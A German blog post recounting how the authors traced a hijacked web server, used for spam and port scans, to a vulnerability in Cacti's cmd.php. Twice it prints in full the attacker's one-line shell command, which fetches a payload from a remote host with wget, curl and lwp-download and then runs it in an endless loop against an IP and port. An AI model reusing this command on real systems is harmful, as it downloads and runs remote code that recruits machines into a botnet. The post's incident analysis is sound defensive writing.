Deterministische Zombies

Da kommt man Montag morgen rein mit allen Aufgaben für den Tag im Kopf und klaren Zielen …

„Thomas, Kyle ist nicht erreichbar ….“

Einer unserer Server, „Kyle“ genannt, ist nicht mehr erreichbar. Was war geschehen? Von überall pingt man zum gleichen Ziel, doch keine Antwort. Im Postfach dann die Benachrichtigung vom Provider des Servers:

„Ihr Server mit der im Betreff genannten IP-Adresse hat Scans auf andere Server im Internet ausgeführt.
Dabei wurden erhebliche Netzwerkressourcen beansprucht und folglich ein Segment unseres Netzwerkes stark negativ beeinträchtigt.
Ihr Server wurde deshalb vorsorglich deaktiviert.“

Argh! Vorsorglich? Argh! Schnellstmöglich mußte der Server wieder ans Netz. An all die Kunden denkend, die uns zurecht gleich die Tür einrennen würden. Artig das Standardprozedere des Providers für diesen Fall befolgend: eine Remote-Console beantragt, um auf dem Server offline kontrollieren zu können, was geschehen war.

Die Logs durchforstend nach Auffälligkeiten – auf der Suche nach einem Zeichen einer möglichen Kompromittierung. Auf den ersten Blick schien alles normal zu sein. Auch keine Traffic-Explosion war zu verzeichnen, ganz im Gegenteil: der Server war auf den ersten Blick so was von artig und unterfordert. Einen Kollegen benachrichtigend, Andre, um mit mir zusammen nach Spuren dieses Supergaus (Derartiges sollte doch Spuren hinterlassen?) zu suchen. Und siehe da, wir fanden seltsame Skript, die nicht zuzuordnen waren. Mehr als nur eins …

„Bank Tennessee“

Vor ein paar Wochen bekamen wir eine seltsame Mail von einer Bank in Tennessee. Kyle hatte angeblich Pishing-Mails verschickt und die Bank forderte zurecht Aufklärung dieses Vorfalls. Unser Provider wies darauf hin, daß unser Mail-Server wohl als offenes Relay konfiguriert war: jede Mail, die bei Kyle ankam, würde also ohne Prüfung von Absender und Zieladresse zugestellt werden, ein idealer Spam-Server also. Das war natürlich nicht so und war auch sehr leicht zu widerlegen:

<< 220 kyle.jakota.net ESMTP Postfix >> HELO globedom.com
<< 250 kyle.jakota.net >> MAIL FROM: spamtest@globedom.com
<< 250 Ok >> RCPT TO: spamtest@hotmail.com
<< 554 : Relay access denied

Diverse Angriffstools nutzend, die versuchten, über Kyle Spammails zu verschicken: sie alle versagten, weil er halt korrekt konfiguriert war. OK, Fehler unsererseits konnte also ausgeschlossen werden. Aber woher kamen dann diese mysteriösen Mails an die Bank in Tennessee? Die Bank sagt, wir waren es. Wir waren es nicht. Wer war es? Zurück zum eigentlichen Problem: wir fanden also ein Skript, welches das Interesse der Bank von Tennesse an Kyle erklärt. Ein Ordner im Temp-Dir, welcher diverse Datei enthielt, als hätte dort jemand seinen privaten Hack-&-Play-Platz eingerichtet:

config.txt (enthält den gefakten Absender und den Parameter Delay=0)
emails.txt (enthält 10000 eMail-Adressen, die zugespamt werden sollen)
functions.php (eine stinknormale PHP-Bibliotheken zum Versenden von eMails)
hi.txt (enthält das Template der eMail)
r (Randomizer-Skript zum zufälligen Erstellen von Rechnungsnummern)
select (Selektion-Skript zum Bilden einer zufälligen Untermenge)
send.php (das eigentliche Versand-Skript)
subiecte.txt (500 Betreffzeilen)

Anzumerken ist hier vielleicht, daß die 10000 eMail-Adressen mit dem Buchstaben „j“ anfingen und bei „k“ endeten. Heißt dann wohl, daß Kyle nur für einen kleinen Happen der zu verschickenden Spammails zuständig war. Ein echter Zombie, dem ein Happen Arbeit hingeworfen wird, welche er erledigen muß, ob er nun will oder nicht (muß er, weil er immernoch deterministisch, auch wenn ihn der Name „Kyle“ für mich zum Haustier macht).

OK, das war dann also die Ursache für Kyle’s unfreiwillige Spamwelle. Aber wie kam es auf den Server?

„Port Scanner Kyle“

Wir fanden ein ähnliches Skript welches im gleichen Schema strukturiert war und offensichtlich durch die gleiche Lücke auf den Server gelangt war. Dieses war für die nächtlichen Portscans verantwortlich, welche uns unserer Provider als Grund für die Abschaltung unserer Servers nannte. Wobei dies sicherlich hinterfragt werden sollte, denn ein Portscan an sich ist nichts, was man gleich zum Anlass nehmen sollte, einen Server vom Netz zu nehmen. Zumal eine „erhebliche Beanspruchung der Netzwerkressourcen“ nicht nachzuvollziehen war in Statistiken und Netzwerkprotokollen.

Nun began also die Suche nach der Lücke durch welche diese beiden Programme eingeschleust wurden. Als Ansatz hatten wir nur, daß diese Programme Rechte des allgemeinen Apache-Webusers hatten, was also bedeutet, daß sie durch PHP & Co ihren Weg fanden. Aber so ein Webserver hat unzählige Skript im Angebot, die den unendlichen Weiten des Internets ausgesetzt sind. Zugänglich für sich langweilende Menschen jeden Alters. Weil sie sich langweilen. Oder sich miteinander messen. Oder dafür bezahlt werden. Was auch immer …

Während wir suchten, fiel uns plötzlich ein eben gestarteter Prozess auf mit Webuser-Rechten:

www-data 2738 31606 0 13:36 pts/3 00:00:00 sh -c wget http://paulbebe.150m.com/ping.txt;mv ping temp2006;mv ping.txt temp2006;perl temp2006 61.120.0.132 3000;lwp-download http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;curl -o ping http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;cd /tmp/;curl -o temp2006 http://paulbebe.150m.com/ping.txt;while [ 1 ];do perl temp2006 61.120.0.132 3000;done;wget http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;curl -o ping.txt http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000

Was auf den ersten Blick verwirrend aussieht, ergibt auf den 2. Blick ein vollständiges Programm, komprimiert in einen Shell-Aufruf. Da wird von irgendwo aus der Welt eine Datei heruntergeladen, umbenannt, ausgeführt. Wieder etwas heruntergeladen und dann endlos ausgeführt. Neugestartet wenn abgebrochen und so weiter. Kurz: Großer Mist. Kurzerhand gekillt diesen Prozess, aber natürlich war er sofort wieder da und verrichtete weiterhin sein unbekanntes Werk. Es mußte das Skript gefunden werden, welches diesen Aufruf bis auf Shell-Ebene hat kommen lassen.

Andre fiel dann folgender Request im Log des Apache auf:

Schonmal einen solchen GET-Request gesehen? Was war dem zu entnehmen? Zum einen, daß es sich um das Statistik-Tool „Cacti“ handelte und daß einem Skript von Cacti ein seltsamer GET-Request geschickt wurde. Aber wie hängt das mit dem oben stehenden Shell-Kommando zusammen? Keine Ähnlichkeiten. Die Suche nach Teilen des oben stehenden Shell-Kommandos brachte auch keine Treffer im Apache Log. Der Request sah so SQL-typisch aus. Ein „SELECT“ ist zu lesen und „CHAR“ mit vielen Zahlen folgend. Nicht so wirklich daran glaubend machte ich mich also kurzer Hand daran, all diese Zahlen mittels eines Skriptes durch ihre Entsprechung im ASCII-Zeichensatz zu ersetzen … – und das war das Resultat:

wget http://paulbebe.150m.com/ping.txt;mv ping temp2006;mv ping.txt temp2006;perl temp2006 61.120.0.132 3000;lwp-download http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;curl -o ping http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;cd /tmp/;curl -o temp2006 http://paulbebe.150m.com/ping.txt;while [ 1 ];do perl temp2006 61.120.0.132 3000;done;wget http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000;curl -o ping.txt http://paulbebe.150m.com/ping.txt;mv ping.txt ping;chmod +x ping;./ping 61.120.0.132 3000

Na, kommt uns dies bekannt vor? Wir hatten also die Lücke gefunden. Cacti war Schuld. Oder ist das falsch formuliert? Wie kommt man auf soetwas, fragt man sich. Denkt man genauer darüber nach, dann macht es aber Sinn. Cacti ist ein Software zur Visualisierung von Statistiken – sie ist frei und somit für jeden erhältlich. Kann von jedem heruntergeladen werden und wochenlang nach Schwachstellen im Code durchforstet werden. Wird eine Lücke entdeckt, dann ist sie bares Geld wert. Man teilt diese Lücke mit Communities, welche diese in ihr Repertoire an bereits bekannten Sicherheitslücken um diese erweitern. Da gibt es die Leute, die sich allein damit beschäftigen, Webserver auszuspähen und festzustellen, welche Software dort läuft und welche möglichen Sicherheitslücken ausgenutzt werden könnten.

Nun nehme man 50.000 Webserver, von denen man weiß, daß sie eine Lücke haben, durch welche man beliebige Aufgaben für den Server einschleusen kann … – wähle eine lohnendes Ziel und befehle allen Rechenknechten (das Wort paßt super), das Ziel auszulöschen, lahmzulegen oder einfach noch mehr Zombies zu annektieren, weil sich ein Zombie-Netzwerk mit 5.000.000 Rechnern besser verkaufen läßt für eventuelle Weltherrschaftpläne von Leuten mit dem nötigen Kleingeld …

„Cacti wars“

Nochmal bei Cacti vorbei geschaut, ob diese Lücke schon bekannt und siehe da:

http://cacti.net/changelog.php
bug#0000883: Fix exploit in cmd.php with register_argc_argv enabled in PHP.
0.8.6i war installiert, in der 0.8.6j wurde der Bug gefixt.

Letzendlich wohl meine Schuld, weil ich eine Version hinterhing. Oder daß man keine eigene Abwehr um Cacti herum gewährleistet hatte. Oder daß man PHP gelegentlich mit deaktiviertem SAFE_MODE laufen läßt, weil irgendein Szenario dies notwendig machte. Alles in allem eine sehr spannende Geschichte, wenn es denn ein Spielplatz gewesen wäre. Ist es aber nicht …

PS: @Ossi – deswegen habe ich mein P2-Nachtragen heute wieder nicht geschafft und das wo ich heute morgen nichts anderes im Kopf zu haben versuchte – ehrlich.